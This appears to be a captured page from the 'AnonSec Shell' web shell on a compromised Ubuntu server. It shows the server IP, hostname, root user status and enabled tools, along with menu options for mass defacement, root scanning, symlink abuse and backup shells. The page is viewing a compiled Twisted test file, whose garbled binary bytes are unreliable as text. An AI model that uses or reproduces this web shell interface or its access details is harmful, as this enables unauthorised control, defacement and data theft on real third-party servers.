AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/stdio_test_loseconn.cpython-310.pyc
o

�b/�@s�dZddlZddlmZmZddlmZddlmZm	Z	Gdd�dej
�ZedkrXe	�
ejd	���e�eejd
d��ddlmZe�Ze�e�e��e�ej�dSdS)
z�
Main program for the child process run by
L{twisted.test.test_stdio.StandardInputOutputTests.test_loseConnection} to
test that ITransport.loseConnection() works for process transports.
�N)�protocol�stdio)�ConnectionDone)�log�reflectc@s eZdZdZdd�Zdd�ZdS)�
LoseConnChildrcCs|j��dS)N)�	transport�loseConnection)�self�r�B/usr/lib/python3/dist-packages/twisted/test/stdio_test_loseconn.py�connectionMadeszLoseConnChild.connectionMadecCs\z(z|�t�Wntyt�dd�d|_YnwWt��dSWt��dSt��w)a
        Check that C{reason} is a L{Failure} wrapping a L{ConnectionDone}
        instance and stop the reactor.  If C{reason} is wrong for some reason,
        log something about that in C{self.errorLogFile} and make sure the
        process exits with a non-zero status.
        Nz,Problem with reason passed to connectionLost�)�trapr�
BaseExceptionr�err�exitCode�reactor�stop)r
�reasonrrr�connectionLosts
���zLoseConnChild.connectionLostN)�__name__�
__module__�__qualname__rr
rrrrrrsr�__main__r��wb)r)�__doc__�sys�twisted.internetrr�twisted.internet.errorr�twisted.pythonrr�Protocolrr�namedAny�argv�install�startLogging�openr�protocolLoseConnChild�
StandardIO�run�exitrrrrr�<module>s
�

Anon7 - 2022
AnonSec Team